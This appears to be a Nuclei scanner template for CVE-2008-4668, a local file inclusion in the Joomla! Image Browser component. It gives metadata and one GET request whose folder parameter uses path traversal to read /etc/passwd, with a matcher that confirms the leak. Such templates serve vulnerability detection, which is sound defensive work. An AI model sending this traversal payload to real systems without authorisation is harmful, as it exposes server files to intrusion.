id: CVE-2008-4668

info:
  name: Joomla! Image Browser 0.1.5 rc2 - Local File Inclusion
  author: daffainfo
  severity: critical
  description: Joomla! Image Browser 0.1.5 rc2 is susceptible to local file inclusion via com_imagebrowser which could allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the folder parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Upgrade to a patched version of Joomla! Image Browser or apply the necessary security patches to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/6618
    - http://securityreason.com/securityalert/4464
    - https://nvd.nist.gov/vuln/detail/CVE-2008-4668
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/45490
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:P/A:P
    cvss-score: 9
    cve-id: CVE-2008-4668
    cwe-id: CWE-22
    epss-score: 0.21476
    epss-percentile: 0.97298
    cpe: cpe:2.3:a:joomla:com_imagebrowser:0.1.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: com_imagebrowser
  tags: cve2008,cve,joomla,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_imagebrowser&folder=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d6c796b7f05f20fcee8e36cf3d0b814f4b424dc8392d0a5ee722e9d947740ad302203fc203ce94bad903b18d9bf60f3bb81c3510203e326c10ebf9fcaf3edbf9a05b:922c64590222798bb761d5b6d8e72950